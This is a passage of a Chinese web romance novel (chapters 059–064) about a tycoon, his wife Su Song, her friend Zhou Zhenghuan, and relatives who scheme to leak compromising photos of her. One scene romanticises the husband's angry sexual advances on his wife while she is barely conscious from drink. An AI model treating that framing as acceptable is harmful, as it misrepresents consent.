他看着包厢,也不好进去,思来想去,转身下楼,去了对面:“还是叫那个女人来劝好了。”
而温戍礼这边也是真有事,他压住了温家人对苏颂的责问,但温航之同样有条件,盛泰有个项目,一直没批下来,温航之拿这个跟温戍礼交换。
他刚从家里出来,打探消息的人就告诉他,那位今晚秘密回来。
可是温戍礼在这通往周家的必经之路已经等了一个小时了,他看表,已经凌晨十二点半了,会这么晚的吗?
他在车里已经抽了好几根烟,思绪一直在打架,一个声音在说:这位人物很少回来,他的影响力大,打通他这一关,项目的事情自然就顺利。
另一个声音却在说:苏颂在夜店买醉!
两者孰轻孰重好像很明显,但理智最后还是屈服于感性,修长的手指探出车窗外,轻轻一弹,手里的烟蒂便落地。
“开车,去King。”
肖直以为自己听错了,再问一遍:“现在?万一周家那位回来……”
059 半夜带女人,跟上屋拿吊绳没区别
其实肖直是想,都等这么久了,万一这样错过,不是太可惜了。那一位听说一年到头回不了几次,且每次都是秘密而归,不好找。
可温戍礼主意已定:“搞个半夜三更的,别让人以为我们温家的生意见不得光。
走吧,苏颂在等我接她。”
他刚才的话让她难过了,他也很烦躁,但总归,不放心她一个女人在外买醉。
算了,谁叫她是他老婆呢。
车子掉头,一辆黑色的车子开过来,两车交汇、分开,一辆往着周家而去,一辆往着市区,两部黑色的车子渐渐隐入夜色。
车子稳稳的停在会所门口,温戍礼让肖直在这里等就行,他回直接带苏颂下来,很晚了,得回家了。
走到大门,没看到顾辽舟,倒是看到了陈曼曼。自打上次在医院的事后,温戍礼跟她没再见过,陈曼曼有联系过他,说要感谢他,想请他吃饭,但被他拒绝了,不仅如此,他还让陈曼曼以后有事联系肖直就行。
都是明白人,陈曼曼知道他是想保持距离,这些天,倒也没再出现过。
这会在这里见……温戍礼垂眸,思忖间,陈曼曼已经瞧见他,并走了过来。
“戍礼哥?我还以为看错了,这么晚了,你怎么会在这里?你不是晚上十一点就不外出了吗?”
把门禁说成是他不外出,听起来会顺耳许多。陈曼曼不愧是南城第一才女,情商谈吐都极好。
这句话也打消了温戍礼的顾虑,他只对极少数人说过晚上十一点要回家,但他从来都是话题人物,消息渐渐就在圈子里传开了。温戍礼从来不在意外人对他的评论,这会知道陈曼曼不是故意在这里等他,神色缓和些许,道。
“来接苏颂。”他面不改色,甚至是直视着陈曼曼说的,他从来都是大方承认自己已婚的,知道苏颂介意陈曼曼,他便故意在陈曼曼面前咬重了她的名字。
他自认为在分寸感这点上,他做得很好,至少比苏颂要好——他就从来没有跟异性肢体搂抱过!
陈曼曼听出他话里故意的味儿,笑容有些不自然,不过身体侧开半步,给温戍礼让道:“这样啊,我还以为你也是为了周家人来的。”
刚迈步的温戍礼一顿,侧头看她。
陈曼曼浅笑着说:“我爸不知道从哪打听到,今晚周家那位会回来,周家人在这办接风宴。”
闫丽跟顾辽舟过来的时候,正好看到温戍礼跟一个女人走了,而那个女人,不是苏颂。
闫丽睨向身旁的男人:“你不是说他没来?”
顾辽舟也诧异,怎么温戍礼跟陈曼曼又搞在一块,陈曼曼的心思,可瞒不过他,但温戍礼……
“不知道。”他这话是实话实说,温戍礼没跟他说要来,要不然他也不需要拉下脸过去请她。
闫丽冷笑:“哼,原来不是不来,是不来接颂颂而已。”
温戍礼跟着陈曼曼来到所谓陈耀辉打听到的包厢,里面空空如也。
身后的会所服务员急得都快哭了:“你们没有邀请不能随便开包厢的门。”这里是私密制的,他们都有经过培训,可是老板顾辽舟也吩咐过,说温戍礼是这里尊贵的客人,要把他也当成老板对待,他一个小小服务员,不敢得罪啊!
“先生——”
顾辽舟走了上来,他在这里,底下的人不是叫他顾少就是先生,不对外宣称老板的身份。
他挥挥手,让服务员先忙别的去:“这里有我。”
等这里只剩下他们三个的时候,顾辽舟才说:“你怎么到这来?你老婆在二楼。”
二楼是普通包厢,这里是高级包厢,私密性也更好,开厢的也都非富即贵,身份不一般,所以刚才的服务小弟才会急得要哭。
温戍礼没说话,倒是陈曼曼先开口,她说:“我听说周家人在这里开包厢。”
几乎是语音刚落,顾辽舟的眼神就斜过去,眼神犀利,语气带凶:“谁说的?陈曼曼,你是来砸我场子的?”
顾辽舟对陈曼曼没有滤镜,不管她是南城第一才女,还是南城第一名媛,敢来他的场子找事,那就是跟他对着干。
“明知我们顾家这些年靠的就是保护客人隐私,才勉强站得住脚,你自己上不了这顶楼开人家的包厢,就找戍礼。心思真多!”
陈曼曼躲在温戍礼身后,保持着一定的距离,但却显示出很依赖温戍礼的样子。
“戍礼哥,我真的不知道你会来……”说着,眼圈微微红,本就柔弱的形象,这会是我见犹怜。
温戍礼说:“我们是在门口遇到的,是我有事找周家人。”转念一想,周家那样的家族,怎么会来King这样的娱乐场所。是他急着找人,一时间没斟酌了。
“走吧,带我去找苏颂。”
顾辽舟听出他在转移话题,这是要帮陈曼曼的意思,道:“你就向着她吧,我看你等会怎么跟嫂子解释。”
闫丽已经去找苏颂了,她肯定会说温戍礼跟陈曼曼在一起的事,不止会说,凭顾辽舟的直觉,闫丽还会添油加醋!
三人往着二楼而去,温戍礼走出电梯,听后,睨了顾辽舟一眼:“叫她来干什么?”
顾辽舟也知道叫闫丽来是坏事了,说:“我也不知道你要来。再说……”他的目光瞥向陈曼曼,心想,你又叫她来添什么乱。
虽然温戍礼自诩是懂男女那点关系的,但显然是出于商业头脑分析,他不懂带一个女人,还是在凌晨时分,出现在刚闹了矛盾的老婆面前,是一种多自找死路的行为。
算了,顾辽舟最近也被这夫妻两的事情搞得很废脑细胞了,既然他们两人都这么造的话,就造吧。
“这间。”顾辽舟亲自给开门,结果,包厢内的场景,让他恨不得时间倒退回去。
只见一排年轻的男人站在里面,而坐在沙发里的苏颂,身边也有一个男人,且男人长得好看极了,就像漫画里走出来的男主角。
男人还温声细语的问苏颂:“有看上的吗?”
060 温先生的危机感
已经喝大的苏颂红着脸,但却眯眼认真在挑选,手指点啊点,最后在靠门边的第一个停住:“他……”
那像漫画里走出来的男主角轻笑:“看上他啊?”
顾辽舟只觉得自己的后背都冻硬了,甚至不用回头看,都知道温戍礼现在的脸色。但偏偏有人不怕死。
陈曼曼说:“她这是在选男模吗?”
顾辽舟立刻反驳:“不是!我不准他们安排!”那恶狠狠的眼神,就像在说,陈曼曼你再害我试试。
陈曼曼避开顾辽舟的眼神,说:“辽舟哥,你好像对我有意见。”
顾辽舟:婊!
温戍礼一直看着包厢里面的情景,只听苏颂说:“他好眼熟。”
那美男子轻笑:“几个小时前,你们才见过,当然眼熟了。”
被苏颂点到的男人笑了,提醒着:“对面的清吧。”
苏颂半醉不醉的,反应虽慢,但也想起来了:“拼桌的优质男人。”
周正焕看蔡铭戈,问:“你优质?”
蔡铭戈笑起来:“勉强勉强,是苏小姐有眼光。”他当时是认出来苏颂就是周正焕一直念叨的傻姑娘,好奇才过去提出拼桌的。当然,也是他告诉周正焕苏颂的位置,只是等他周正焕过来,苏颂已经走了。
正好有人在King开了包厢,索性就都把人聚在这里了,就有了今晚所谓周家人的接风宴。
“别搞这套虚伪的,她一向喜欢看帅哥,你又不是不知道。”坐在苏颂另一旁的闫丽开口插入,“就一个小色妹,还不承认。”
一句话,让包厢里的人都笑了。包厢里说说笑笑,气氛很好,好到有三个人走进来都没发现。
“蔡少?”还是顾辽舟先认出蔡铭戈,蔡家独子,这可是个不像会出现在他这里的人物。
他又看过去,认出几个:“江少,吴少,王少……你们都在啊!”就这几个他认得出来的,都让顾辽舟出一身冷汗,单拎一个,会出现在他这里都让他紧张,别说,今晚都聚齐了!
其他的虽然不认识,但就这一身正气的样子,一看也都是大院出来的子弟。顾辽舟,头麻了!
“不知道各位来私访,是有人又黑我们King了吗?我们早几年就整改好了,真的,去年还获得‘诚信经营’商家称号。”
这些人哪个随便一句话,他这里都得停业,顾辽舟不敢轻待。
温戍礼可不管这些人是谁,直接往苏颂走去。
“顾大少别紧张,我们就是来消费的,正好碰到我们周少的熟人。”蔡铭戈没说完,视线已经转移到沙发那边去,刚刚那人走过去后,包厢的气场都变了。
“回去。”温戍礼只看着苏颂,那脸颊的两团驼红,让她看起来像只小猫咪。
苏颂想抬头又抬不起来的样子,耷拉着脑袋,但身体却做出伸手的指令。
周正焕拦住她的手,仰头审视面前的男人,虽然他坐着,但气势也不差。周正焕问:“你是谁?”
苏颂已经是快断片的样子了,一旁的闫丽,双手环胸,高冷的解释:“颂颂的结婚对象。”
简洁、扼要。但充斥着不友好。
温戍礼不搭理他们,挥开周正焕的手,直接抱起苏颂,人群的目光此时都落在这两人身上。
温戍礼依然视若无睹,就连陈曼曼的叫唤都置若罔闻,冷着脸,只抱着苏颂走了。
这是周正焕第一次见到温戍礼,苏颂的丈夫,跟他想象中的有出入。温戍礼没有富商的油腻,也没有富家子弟的纨绔,更重要的是,他跟苏颂,没有豪门联姻那种各过各的样子。
大半夜,还会来接醉酒的小娇妻。他甚至感受到了男人之间那种醋意。
周正焕道:“难怪李斯俊会输。”
闫丽一笑:“本来是,现在不一定。”
苏颂跟温戍礼的婚姻,明显出问题了。
。
苏颂不胜酒力,她醉得身体有点不听使唤,但感觉到有人吻她的时候,她还是叫:“温戍礼。”
她很少喊他的名字,一是两人相差岁数大,故意直呼他的名字,苏颂总觉得有点叫不出来;二是,两人结婚三年,就没有好好相处过,有事也就说事,极少用得上喊对方名字。
男人的动作停下来,他在生气,并且是很生气。从家里就在生气,然后看到她醉醺醺的被一群男人围住的时候,他的火气到达顶端。
在回来的路上,看她在他怀里不安分的扭着,他想出很多种要惩罚她的办法。
男人在对付女人这块上,并不需要刻意去学习积累经验,很多念头,在荷尔蒙相碰撞的时候,自然而然就产生了,所以一到家,他甚至来不及将她抱进房间,在玄关处就狠狠地啃咬她。
她吃疼的叫唤惊醒了住家阿姨,出来的阿姨看着如胶似漆的两人,惊呼一声,转头匆匆回房。
这让温戍礼感到一丝不痛快,虽然他找的阿姨会忠心一些,但真跟温家教导出来的人没得比。她打扰到他的兴致了,于是温戍礼又缠绵着,想把心里那股劲使出来。
他将苏颂挪到房间里来,这会在床上,两人衣衫凌乱。
“还知道是我!”温戍礼还有气,但已经消失一些了。不知道是因为兴致被打扰了,还是因为,她在迷乱中,喊的还是他的名字。
情绪缓和下来,事情也不急着办了。他跟她耳鬓厮磨着,问:“什么时候认识周家大少爷的?”
周正焕,周家大房长子,根正苗深的政三代,连温戍礼都不认识的人,苏颂竟然认识。
温戍礼怎么都想不到,前阵子跟苏颂闹上热搜的绯闻男主角,竟然会是周家人。
苏颂本来就醉了,这会身体碰上床,熟悉的味道,多重安心因素,都在向她催眠,她有些迷迷糊糊的,只因被压着不舒服,哼唧一声。
温戍礼又说:“正焕?叫得很亲热。”可不管他说什么,苏颂回应他的只有扭动的身体,他本就在压抑着,这会又怎么受得住。
他靠着她耳边咬,低声诱导:“再喊我名字。”
“……温戍礼……”
061 温太太的绯闻对象回来给她撑腰了
温泰在公司被温戍礼警告后,心里很不爽,出来买醉到一半,又被林美丽抓回去。
林美丽看着一身酒气的儿子,恨铁不成钢的说:“你爸最近都不爱理你,你没察觉出来?
你再这样,真的会被温戍礼赶集团。”
温泰不以为意的说:“我还不想呆了,温戍礼职位比我高,现在爸忙着拓展海外市场,把集团大部分事情都交给他管。
我才不想被他管!”
林美丽也知道最近委屈了自己的儿子,被打不能讨回公道,还要被施暴者打压,换作是谁都不舒坦。
“小不忍则乱大谋。你又怎么知道,他温戍礼就能坐稳那个位置?”
这话让温泰来了兴趣,问:“妈,你是不是又有什么办法?”
林美丽说:“集团建设部不是有个项目被卡了吗,我让你爸交给温戍礼去办,考验考验他。”
“建设部是集团最大分红之一的子公司,你这是在给温戍礼送肥肉。”
“那也得他吃得下去啊。都半年没进展的项目了,没那么简单。而且更主要的是,这事最好的办法就是通过周家人,而跟苏颂上热搜那个男人,就是周家人。”
林美丽眼神阴狠,做出一切尽在掌握之中的表现:“都说商场得意情场就失意。真好奇他温戍礼知道真相后的表情。
要保住位置还是要保住老婆,就看他的选择了。”
温泰听后,大笑起来:“温戍礼那个绿毛龟肯定忍不了,到时候苏颂被抛弃,我会让她很惨。但如果温戍礼忍了,就要被人笑一辈子。
哈哈,妈,还是你有办法。”
。
隔天,苏颂觉得头都要炸了,像是要裂开那种疼,她痛呼一声,身旁的位置就动了,她瞬间惊醒起来,看到身侧的男人。
温戍礼被她吵醒,不过他没喝酒,清醒得很快,他下床开始穿衣服。
苏颂问:“你今天不用上班?”
“不想看到我?”
苏颂顿住,有点慢半拍,他刚才说什么?
“我是总裁,就算迟到,也没人敢说。”他边扣扣子边说,目光却没有转移到苏颂身上。
温戍礼这人平常虽然冷淡,但口气不会这么大,更不会显摆身份。
苏颂再迟钝也察觉出了他的阴阳怪气。她没再开口,打算等着他穿好衣服出去。
温戍礼穿戴好,临走前,看着她说:“最近别出门了。”
苏颂一听,有点不舒坦,面前就出现了一个首饰盒。
温戍礼递到她面前,说:“墨蓝的水晶,可以配黑色的衣服。”
这是因为她上次说穿黑色礼服,蓝色水晶不搭,所以特意再送她的?
苏颂接过,原本心里有一点抗议的心思也被礼物抹平了,算了,拿人的手软。
温戍礼看她接过时那低眉顺眼的样子,很多时候,她都是温顺懂事的,要不然,怎么会被圈子里的同龄人戏称成“新生代贤妻”。
他的唇瓣动了动,最后什么都没说,出了房门,不多会,苏颂就听到大门被打开的声音。
他出去了。苏颂的肩膀垮下来,但她出不去。
她又躺回去,宿醉的头痛提醒着她昨夜发生的事情。昨晚温戍礼走后,她越想越委屈,便去了King喝酒,怪那酒入口太醇了,等她意识到醉,已经喝多了。
苏颂觉得温戍礼不让她出门是因为这个,她一边忍受着头疼,一边告诫自己:“最近得收着点了。”
温戍礼下楼之后,肖直已经等候在车里,他今早上这车的时候,发现从新加坡带回来的首饰盒不见了。
那边的续约早就完成,最近也已经交付了第一批货过去,所以在接到指令说要过去出差的时候,肖直以为是出了什么意外,有了上一趟的教训,这一次他准备很充分,结果,发现上司压根就不是为公事。
单单只是为了寻找墨蓝色水晶,为了寻找合适的颜色,他们就走了不少地方,那些工匠都说墨蓝色太深,不出彩,喜欢水晶的一般是年纪小的小姑娘,不受欢迎,所以很少生产。好不容易找到一些,上司又嫌不够深。
他说,要墨到接近黑色,但却是蓝色。
这要求一出来的时候,肖直莫名就想到那晚,身穿黑色礼服的太太,好像那晚两人就在车上讨论过手串的事情,肖直顿时就明白了。
可眼下,精心挑选的墨蓝色水晶送出去了,上司怎么看起来还是不高兴。肖直坐得笔直,不敢掉以轻心。
温戍礼上车,吩咐:“去山清宛。”
他来了顾辽舟的住所。顾辽舟将一沓资料递过去:“这些都是你弟弟的劣迹,他居然这一个月内,还携伤嫖娼,真令我意外。”顾辽舟比着大拇指,“啧啧”两声,表情十足的蔑视。
真是下半身动物啊,下半身!受了那么重的伤,居然还在想着这点事,也就这点出息了。
一个人如果连欲望都控制不住,那跟禽兽没什么两样。
不过他觉得劲爆的消息,温戍礼却无动于衷。
他接过资料,并没有第一时间打开,而是问顾辽舟:“昨晚那班人是怎么回事?”
昨晚顾辽舟也被吓到了,真怕他老顾家仅存这点产业也被盘了,于是连夜打听,结果让他松了一口气。
“江灿这几年不是在做风投,也算进商圈了,是他在我那开的包厢。恰好周家大少爷周正焕从云城回来了,那班大院子弟便在King给他办接风。
不是周三爷。”
周三爷,周家老三,周正焕的小叔,现在云城就任。温戍礼要找的人是他。
那种身份的人是不可能去娱乐场所的,但没有职位的周正焕去,只是跟家风不符,倒也没规定说不行。
“云城。”温戍礼咬重这两个字。周正焕之前也在云城,所以跟苏颂认识很久了?
顾辽舟观察着他的表现,憋了一晚上的好奇心,这会有些憋不住的问:“周大少高中跟着他小叔在云城上,所以,嫂子之前真跟周家大少有一段?”
那照片不说多清晰,但只要见到过当事人,都会认出来。
062 醋了,真的跟他交往过吗?
现在周正焕回来了,基本上看过照片的,见到他就会认出来。不用多久,圈子里就会传开苏颂跟周正焕的事情。
但这还不是最重点的,重点是,苏颂那般低调不起眼的女人,曾经拿下过周家人?
“难怪有传言说,当年你要是不答应,苏家的目标就是周家。”顾辽舟感慨,果然无风不起浪,只是苏颂真牛,激起的浪一个比一个大。
不管是周正焕还是温戍礼,都是南城数一的人物,周家跟温家背景不同,分处两个领域,但都是毫无疑问的No.1。
温戍礼的目光冷冰冰的,脸色阴沉得要滴出墨水来,眼睛一眯,浑身的压迫感便随之而来。
“谁说的。”
身为圈子里的八卦小能手,顾辽舟早就打听清楚这件事的来龙去脉了,坐近一点跟温戍礼说。
“三年前,有人看到苏颂,就是你老婆从温家出来后,去过周家。”
周家守卫森严,可不是一般人能进去的,所以当时听到这个消息的时候,顾辽舟不以为然,只当是有人见苏颂成功嫁给了温戍礼,在背后瞎造谣,诋毁苏颂。
不过三人成虎事多有,这三年,竟然让顾辽舟听到过几次这个传言,不由地,他心里也信了苏家把周家当备选的流言。
但现在看来,可能温戍礼才是备选。顾辽舟倒是更相信这个猜测,毕竟,温家的大门比周家更容易进。所以事实是苏颂当年跟周正焕掰了,转身找了温戍礼这个冤大头?
玩这么大的吗!
谁能想到啊,谁!堂堂温家大少,被称为高岭之花,异性绝缘体的温大少,竟然有一天会被当成备胎,并且他还先动心了?!
脑洞大开的顾辽舟非常同情的拍了拍温戍礼的肩膀。
下一秒,手腕被掐住,温戍礼,丢开他的手,目光凉凉:“收起你脑子里的胡编乱造!”
接着,他起身,拿着温泰的资料走了。
顾辽舟在后喊:“嗳,这个还没谈条件嗳,什么时候,才帮我收回那半条街啊!”
。
这边,周家。
蔡铭戈来找周正焕,说:“我们在King给你接风的事情,不是江灿传出去的,他说,是他认识的一个老总看到我们了,知道是你,就把消息传出去了。”
周家的身份特殊,多的是人要巴结周家人,一举一动都会引起很多人关注,所以昨晚的消息传出去后,就有人到King,打听周正焕。
人是蔡铭戈带过去的,他得负责。
“要是周叔他们生气要惩罚你,你就说是我带你去的。”
周正焕坐在藤椅上,好看到如同精雕细琢出来的模样,这会瞧着好友一笑,如同雪后逢春的明朗:“这么紧张干什么,不就是逛夜店。都什么年代了,如果他们因为这点事就要打我,那我早在云城就没命了。”
刚到那边的时候,他几乎天天晚上都去,也是在夜店认识闫丽跟苏颂的。
这话让蔡铭戈有点震惊又有点不震惊:“小叔不管你?”
大院里的孩子都是穿一条裤裆长大的,他们也都跟着周正焕称呼周三爷为小叔。
周正焕晃着藤椅,他的皮肤很白,照到阳光更犹如白瓷,蔡铭戈看得有点呆了,依稀听到他说“不可能每个人都一个命”。
“我小叔要是管得住我,我现在还能回来?”他笑得明眸皓齿,得意极了。
不影响就好。蔡铭戈又想起另一个事:“那你跟温戍礼的老婆又是怎么回事?”
周正焕想了半会,说:“朋友关系。三年前她来找我,想要我帮苏氏渡过难关。”苏颂一开始也不想靠牺牲自己的婚姻来挽救苏氏。
但周家是军政之家,跟商圈泾渭分明。加上,他那会大学都没毕业,哪来的能力帮呢。于是周正焕带着苏颂去拜访过几个他认识的富商,但那些人还没行动呢,温家那边就出手了。
温家跟苏家的联姻,可谓雪中送炭,温家出钱又出力。一想到这点,周正焕不免又想到自己那个可怜的同桌。
“难怪李斯俊会输!”
。
温戍礼回到公司后,心神不宁,根本没心思工作,他的脑子里一直在回响顾辽舟说的话。
“三年前,有人看到苏颂,从温家出来后,去过周家。”
比起手足相残,他更无法忍受自己只是备胎。
温戍礼考虑再三,还是切换了闫丽那个号,上面的最新一条消息,还是昨天傍晚她发过来的:【这次,我们真的要完了】
长指编辑,发送:【你跟周正焕交往过吗?】
他承认他介意。
他知道苏颂没事在家喜欢玩手机,耐心的等着那边回复,哪知道忽然手机界面一变,提示账号在别的设备登录,请重新输入密码确认账号安全。
温戍礼眉心一蹙。
。
在家无聊的苏颂正跟闫丽煲电话粥,本来闫丽没来之前,她一个人在家也不会觉得多无聊,但现在有个伴在身边,反而动不动就想找人聊天。
苏颂跟闫丽抱怨说她老是不回消息,闫丽说她账号被盗了。于是两人一边嘀咕一边帮闫丽找回账号。
苏颂告诉闫丽验证码的时候,手机又进来一条消息。
看着那几个字,苏颂不可思议的同时也有疑惑,她说:“丽姐,盗号的人认识我吗?”
闫丽在电脑操作,没仔细听,“啊”了一声。
“那个盗号的,问我是不是跟周正焕交往过。”
苏颂昨晚断片了,对于在包厢后面发生的事情不记得了。
“奇怪,他怎么还认识正焕?那照片上网时候,也没人认出正焕来啊!”她当时真的很怕连累正焕,好在事情已经过去了。
闫丽在电脑重新输入密码后,敲下回车键,说:“大概暗恋你吧。”提及温戍礼,闫丽很是鄙夷。电脑显示,登录帐号,闫丽登录上去,便看到那条消息。
用嘴型骂,果然是个闷骚男!
“丽姐,你不要开这种玩笑了,一会说有人在云城对我念念不忘,一会说盗号的暗恋我,我现在听不得半点绯闻。网络暴力太可怕了,咱是自己人,就别制造话题了。”
063 不让出门,还私自幽会?!
苏颂在床上翻个身,趴在床上,翘着脚丫,十分惬意的姿势,说:“好久没有见到正焕了,他这几年都没回南城。”
她把玩着那套墨蓝色水晶,居然还是一套的,把那条蓝色手链放进去,她暂时没想戴了。
“你不记得了?小周回来了。”
原本苏颂是没有出门的想法的,这三年她一直在家安心做好温太太,不用谁说,就谨言慎行。这是温戍礼第一次提醒她,她却反而没有听。
苏颂来见周正焕,地点是闫丽上次约她的私房菜馆,闫丽临时有事没来。
一见到老朋友,苏颂笑得很开心:“好久不见,正焕。”
周正焕也笑,揉着她的脑袋:“还是那么傻气,昨晚不是刚见面。”
闻言,苏颂嘻嘻傻笑,不好意思说自己喝断片了,更怕她昨晚酒后还干什么丢人的事,不敢提。
“对了。”她在包里翻找,拿出一张卡,“这个还你。”
三年前,她找正焕帮忙,他虽然不好出面,但还是私下拿了卡,把他的零花钱都借给她。当时他们都还是大学生,周正焕这样,算倾囊相助了,苏颂很感激。
“我公公给苏氏注资了不少钱,这个我没用。这几年也没听说你回来,现在还给你。”
周正焕看着她手里的卡,这点钱,他没想过她还,也没想过这三年,她居然没用过。
当时苏氏到了那个境地,他更担心她身上没钱。
他问:“你自己也可以用。他有给你钱花吗?”
苏颂点头:“他有给我他的副卡,不过家里一切供给都有,我好像也没有需要花钱的地方。”
这样,周正焕便接过卡。两人坐下来,他又问:“他对你好吗?”
苏颂又点头:“好。他就是忙点,但没有缺过我,短过我的。出差都会给我带礼物。”
反正不奢求爱情的婚姻,能做到彼此顾念就很好了。周正焕听了,点了点头。温戍礼那种出身,那种身份地位的人,能做到出差还想着给妻子带礼物,确实算不错了。
苏颂不好意思的笑了,在年少的好友面前提及丈夫,她还是有些腼腆。她又说:“我这次约你,还想跟你道歉,前阵子,有人发了我和你之前的照片,还造谣。你家里人有没有责怪你?”
在没有来南城之前,苏颂不知道周家是军政之家,三年前她去找周正焕的时候,要不是他在门口等她,她真的会被吓到不敢进去。
后来在这边,她偶尔也会听见圈子里的人提及周家,都是家风严谨,消息严密之类的,给苏颂的感觉,就是管得严。
所以她怕给周正焕带去困扰。
周正焕低头一笑,好看的眉眼一舒展,更增添几分俊俏。苏颂很喜欢看他的颜,无关情爱,就是单纯觉得赏心悦目,看了心情会好,让她忍不住看。
这会她沉重的心情也消散一些,不由地问:“你笑什么?你家里人有没有骂你?你小叔有没有揍你?”
周正焕笑说:“小叔是揍我了。”
一听,苏颂的心提起来,表情都凝重了。
“不过不是因为我跟你上了热搜,是他以为我当年没留住你,才让你嫁给他人。嫌我给他丢人。”
苏颂:“……”
。
中午,温泰一脸不情愿的来私房菜馆吃饭,他一向生活高调奢侈,瞧不上这种特色菜馆,今天是他母亲林美丽女士叫他来的。
他进门就问:“到底有什么事非得到这说?”非常不耐的样子。
林美丽吹了吹茶,说:“你的缺点就是管不住心性,而温戍礼的优点就是沉得住气。”
温泰已经狠狠皱眉了:“有本事你就帮我出气,不能就少拿他跟我比,我最近因为温戍礼够烦的了。”
见儿子要走,林美丽才放下杯子,也不卖关子了,赶紧说:“你看斜对面。”
斜对面,苏颂跟周正焕走了出来。
温泰一看,瞪大眼睛:“苏颂竟然在这里幽会男人?!”
林美丽点头:“这下知道妈不是让你白来的吧。”
温泰正找不到把柄对付温戍礼,这会拿出手机就拍照:“好啊,我要让全城的人都知道温戍礼被戴了绿帽,妈,你帮我找最好的狗仔发,给我买水军,这次不单单网上,我还要苏颂的奸情上报!”
温戍礼能抹掉网络上的痕迹,但杂志报纸他总没本事都销毁。他狠毒的笑,一条恶计几乎是瞬间产生。
林美丽拿下他的手机,说:“照片我手机上更多,就这么拍两个人走出去有什么说服力,一男一女偷偷在一个包厢里有说有笑,甚至含情脉脉的,才更有用。”
温泰说:“那你赶紧把照片给散布出去。”他恨不得立刻就打倒温戍礼,把他踩在脚下。
此刻,男人之间的胜负欲强过他对女人的占有欲。
女人他要有一大把,但CEO的位置就一个,现在被温戍礼占了,他压着他一头,让他很不爽。
林美丽说:“本来是要发的。不过我还发现了更有趣的一个人,对方也在偷拍苏颂。
上次的照片就是我发的,如果这次能借用别人之手,我们也能更安全一点。没到最后,我们先不要跟温戍礼正面对上。”
“可你怎么肯定对方就会发出去?”
林美丽信誓旦旦:“她会的。”
她阴狠的笑,借刀杀人,才是最好的办法。
。
黑色的车子停在周家大院前,温戍礼又多方打听,确定了周三爷昨夜确实有回南城,他爸只给他一周的时间,答应下来的事情,温戍礼都是决定完成,他从不作虚言。
助理肖直去门口打了招呼后回来,这会在车外同温戍礼说:“门卫说周三爷出去了,不在家。”
“温总,我们要等还是走?”
温戍礼说:“等,让他们去通报一下,我们进去等。”
肖直立刻就懂了,他家上司何曾等过谁,现在就算是有求周家,也不能显得太掉身份,于是肖直转身又到大院门前。
这时,后面又有一部车子开进来,珍珠白的车身,很引人注目,加上这里是要经过检查放行才能进来的,让温戍礼不由得盯着看了会,却看到车子直直的开进院子去。
那是周家人!
064 上热搜,公公发怒,温先生赶来救场
几乎是立刻,温戍礼下车了。
周正焕看到了那辆车,经过大门的时候看到肖直,便招来门卫询问。
“原来是温戍礼啊!”这会透过后视镜,他也看到下车的温戍礼了。
门卫汇报说:“他们想进来等三爷。”
周正焕说:“小叔说他这次就回来半天,不见客。”随即,周正焕又想到什么,同门卫说,“让他们进来等吧,等不到自然就会走的。”
他瞧着在门口沟通的温戍礼,好看的唇角勾着笑,看他昨晚那目中无人的样子,还以为温家大少是多高傲的人呢。
修长好看的手指把玩着手里的银行卡,是苏颂还他那张。
“看在你对颂颂还不错的份上,让你进来吧。”年轻的脸上,闪过一丝狡猾,不过进来也等不到就是,他小叔等会直接走,不回来家里了。
周正焕对司机说:“开车吧。”
。
苏颂被叫来温家,接到温家电话后,她给温戍礼打过电话,但他没接。
她磨磨蹭蹭的,有些不敢来,虽说热搜的事情,温戍礼帮她摆平了,但她不知道怎么面对温家人。
她故意拖延时间,但也没有等来温戍礼的回电,人已经到了温家客厅,温家的客厅很大,不过苏颂还是一眼就看到坐在那里等她的温航之。
“爸。”苏颂走过去,喊了一声。
“不让你敬茶,你倒是不叫就不来了。”温航之拿开面前的书,语气责怪。
苏颂小心的说:“不是。您不是让我把心思多花在戍礼身上吗,我最近在学习夫妻之间的相处。”
只要不是要质问她热搜的事情,苏颂能做到兵来将挡水来土掩,这两年的茶可没白敬,她知道自己说什么能顺温航之的耳。
“我给戍礼送过饭,但戍礼好像不太喜欢我去公司找他,所以我最近都在家等他回去一起吃饭。”
幸好送饭这事能拿来当借口,当时温戍礼没说不让她送饭,但她进去的时候,他明显不耐烦了,而且还让她别麻烦阿姨,那就是不想她继续送饭的意思。
至于在家等他吃饭,她本来活动范围就小,几乎都是在家待着,早点吃晚点吃也差不多。但不妨碍她语言修饰,听起来就是她为这个小家,用心又隐忍。
贤妻的名头也是这样来的。
“是吗?原来还知道体恤丈夫工作辛苦,懂得照顾他的胃,我还以为你学的夫妻之道,是给他戴绿帽。”
温航之把手里的书丢在桌面上,动作不大,奈何书够大够重,拍起的风,扬了苏颂一脸,飘扬的发飞起又跌落,犹如苏颂看清那占据一整页画面后的心情。
那不是书,是杂志!很大的一本,一整页,印着两个清晰的男女。
上面,男的轻轻一笑,脸颊上还有个浅浅的酒窝,好看得像是建模,而对面,女人正看着他,这个角度,像是深情款款,含情脉脉。
是她跟周正焕!
苏颂的心像是被摁下暂停键,她跟周正焕又被偷拍了,并且是在几个小时前!而且在这几个小时里,就把他们的照片上杂志了!
“苏颂,你最好给我个解释!”
面对凶狠的公公,苏颂一脸惊恐……
。
温戍礼在周家坐了冷板凳,带着一身阴郁气息上车。
肖直也感觉到了,周家人摆明让他们进去等,又不让他们见到人。
要是别的家族不敢这样对待他们,但是对方是周家,现在他们很被动。肖直身为助理,为上司排忧解难是第一工作,脑子正快速运转,在想办法的时候,后面的温戍礼先开口。
“苏颂给我打电话?”他刚才下车急,手机落在车上了。
肖直回头,只见上司在回电,身上的气息没有那么寒意逼人了。他不由得感慨,太太在上司心里越来越有分量了
结果还没完全放松,就见上司抬眼,眼神射来:“去温家。”
温戍礼给苏颂回电,苏颂没接,他又给阿姨打电话,得知苏颂被叫去温家。
温家,林美丽正在院子里摆弄新到的牡丹,看到步伐冲冲的温戍礼快速走过前院。
她假装看不到,继续摆弄手里的花。现在他们的关系已经摆到明面上来,她不会上前自找没趣,苏颂已经来好一会了,她问在浇花的帮佣。
“刚才先生真的对大少奶奶发了好大的火?”
那帮佣停下手里的活,将自己见到的告诉林美丽:“刚才我在侧厅打扫,听见先生摔了什么重东西,还大声的说了大少奶奶。先生脸色不太好,让大少奶奶跟他去书房。”
大概是不想在外人面前露威,给苏颂留面子。林美丽想,温航之越是顾及,就说明火气越大,要对苏颂大发雷霆了。这样想着,林美丽得意地笑。
苏颂,没想到苦心扮了两年好媳妇,终究抵不过一次绯闻风波吧。
温戍礼,继承人又怎么样?被戴绿帽子会是永远也摘不掉的耻辱!
温戍礼脚下生风,直奔书房。
